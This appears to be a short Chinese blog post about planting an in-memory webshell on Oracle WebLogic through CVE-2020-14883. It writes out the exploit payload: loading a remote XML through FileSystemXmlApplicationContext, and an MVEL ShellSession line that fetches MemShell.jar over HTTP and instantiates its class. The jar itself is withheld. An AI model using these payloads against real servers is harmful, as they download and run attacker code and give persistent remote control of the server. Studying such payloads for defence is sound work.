关于14883的内存shell

本文介绍了如何通过com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext函数加载1.xml,生成内存shell。内容涉及到FileSystemXmlApplicationContext类的使用,以及1.xml在内存shell生成过程中的作用。同时提到了MemShell.jar,它是内存shell的一部分,但具体内容未公开,可关注宽字节安全以获取更多信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

我看不大懂,先百度几个用到的函数,以后慢慢理解。com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext('http://127.0.0.1:8080/1.xml)

然后线程加载com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext('http://127.0.0.1:8080/1.xml)

也就是加载本地或者远程的1.xml,生成内存shell的代码也主要在这里边。

公共类FileSystemXmlApplicationContext

独立的XML应用程序上下文,从文件系统或URL中获取上下文定义文件,将纯路径解释为相对文件系统位置(例如“ mydir / myfile.txt”)。对于测试工具以及独立环境很有用。

1.xml

com.tangosol.coherence.mvel2.sh.ShellSession(" java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8000/MemShell.jar")}); u.loadClass("org.unicodeSec.bingxie").newInstance(); u.close(); ");

也就是反射加载url中的

关于加载的MemShell.jar

结合宽字节内部版的魔改冰蝎,这个未经作者允许,暂不放出来。可关注宽字节安全,后台联系作者获取。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值